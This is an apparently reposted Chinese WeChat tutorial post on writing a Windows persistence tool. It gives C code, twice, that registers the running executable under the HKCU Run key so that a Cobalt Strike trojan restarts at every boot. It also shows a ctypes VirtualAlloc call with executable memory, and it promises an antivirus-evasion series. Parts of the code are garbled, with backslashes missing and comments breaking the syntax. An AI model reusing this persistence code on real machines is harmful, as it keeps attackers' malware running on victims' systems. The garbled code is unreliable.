扫码领资料
获黑客教程
免费&进群
作者：掌控安全—山雀7
通过注册表来开机自启动
注册表
在我们的计算机里面，有一些程序是可以设置成开机自启的，这种程序一般都是采用往注册表里面添加键值指向自己的程序路径来实现开机自启。
比如cs生成的exe木马，我们让它开机自启动，然后目标机器每一次开机都会启动木马发来心跳包，以此来达到权限维持的目的。
win+r:regedit打开注册表，在如下位置能够看到当前用户开机启动项的键值
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun
以后拿到权限可以把payload写到这里。
先贴出写的代码，下面在补充用到的知识
include<stdio.h>
include<windows.h>
void main(void)
{
//根键、子键名称和到子键的句柄
HKEY hRoot = HKEY_CURRENT_USER; 根路径
char* szSubKey = (char*)"Software\Microsoft\Windows\CurrentVersion\Run";在根路径下对应的项
HKEY hKey;//打开指定子键
DWORD dwDisposition = REG_OPENED_EXISTING_KEY;
//如果不存在就创建
LONG lRet = RegCreateKeyEx(
hRoot,
szSubKey,
0,
NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition
);
if (lRet != ERROR_SUCCESS) //如果有就直接关掉这个程序
return;
//得到当前执行文件的文件名（包含路径）
char szModule[MAX_PATH];
GetModuleFileName(NULL, szModule, MAX_PATH);
//创建一个新的键值，设置键值数据为文件
lRet = RegSetValueEx( 调用的函数RegSetValueEx
hKey,
"shanque", 自己设置的键的名字，相当于图中的Wechat
0,
REG_SZ,
(BYTE*)szModule, 指针，定义一个键的名字以后去指向它，就可以自动的去获得这个键的值
strlen(szModule)需要的一个长度
);
if (lRet == ERROR_SUCCESS)
printf("shanque run successn");
else
{
printf("failed");
}
//关闭子键句柄
RegCloseKey(hKey);
}
用到的知识补充
1.windowsAPI
概念
windows操作系统提供给应用程序的功能接口
存在方式
存放在dll文件中
dll文件—>动态链接库，里面有很多函数。比如MessageBox这个函数就存放在user.dll这个文件里。
使用方法
顺序：加载或找到dll文件->dll文件里面去找函数名字
C++
#include <windows.h>
可以调用公开的接口。
python
import ctypes
macmem = ctypes.windll.Kernel32.virtualAlloc(0,1003,0x3000,0x40)
调用过程
用户层和内核层
aaa.dll里面是没有具体执行功能的代码的(为了源代码安全和隐私)
会做一个引导
这里面的地址都会统一指向”ntdll.dll”
例子
如果直接用c++来写一个弹窗很麻烦，但是我们可以调用API接口中的MessageBox这个函数。
#include <windows.h> //调用vpi接口
int main()
{
MessageBox(NULL,"shanque","bbb",MB_OK) ;
return 0;
}
2.c++函数指针
一种直接操作计算机内存的方式
#include <iostream>
using namespace std;
int main ()
{
int var = 20; // 实际变量的声明
int *ip; // 指针变量的声明
ip = &var; // 在指针变量中存储 var 的地址
cout << "Value of var variable: ";
cout << var << endl;
// 输出在指针变量中存储的地址
cout << "Address stored in ip variable: ";
cout << ip << endl;
// 访问指针中地址的值
cout << "Value of *ip variable: ";
cout << *ip << endl;
return 0;
}
最后贴上我没有写分析的代码，大家可以直接把shanque改成要自启动的名字就可以
#include<stdio.h>
#include<windows.h>
void main(void)
{
//根键、子键名称和到子键的句柄
HKEY hRoot = HKEY_CURRENT_USER;
char* szSubKey = (char*)"Software\Microsoft\Windows\CurrentVersion\Run";
HKEY hKey;//打开指定子键
DWORD dwDisposition = REG_OPENED_EXISTING_KEY;
//如果不存在就创建
LONG lRet = RegCreateKeyEx(
hRoot,
szSubKey,
0,
NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition
);
if (lRet != ERROR_SUCCESS)
return;
//得到当前执行文件的文件名（包含路径）
char szModule[MAX_PATH];
GetModuleFileName(NULL, szModule, MAX_PATH);
//创建一个新的键值，设置键值数据为文件
lRet = RegSetValueEx(
hKey,
"shanque",
0,
REG_SZ,
(BYTE*)szModule,
strlen(szModule)
);
if (lRet == ERROR_SUCCESS)
printf("shanque run successn");
else
{
printf("failed");
}
//关闭子键句柄
RegCloseKey(hKey);
}
最后说一点我自己的想法
如果代码看不懂怎么办？
没关系，只需要看分析，注释知道大概是个什么流程就可以了，记得我刚刚开始学习php老师就说了，我们是学渗透的，又不搞开发。
推荐大家以目的出发，然后去学习知识，免杀系列后面我也会不断跟新我的学习笔记，c++会用的比较多。
说一下学习流程吧
百度：win32API+要达到的功能
比如win32API+注册表
很容易在csdn这种地方找到要用到的函数
再把函数拿到https://docs.microsoft.com/zh-cn/search/ 去搜
这两随便看一个，这是官方的利用方法和流程。
然后如果不知道开机自启动去权限维持的，一样去搜一搜看一下就可以了。
声明：本公众号所分享内容仅用于网安爱好者之间的技术讨论，禁止用于违法途径，所有渗透都需获取授权！否则需自行承担，本公众号及原作者不承担相应的后果.
学习更多渗透技能！体验靶场实战练习
（hack视频资料及工具）
（部分展示）
往期推荐
原文始发于微信公众号（白帽子左一）：渗透技能 | 编写开机自启动权限维持工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论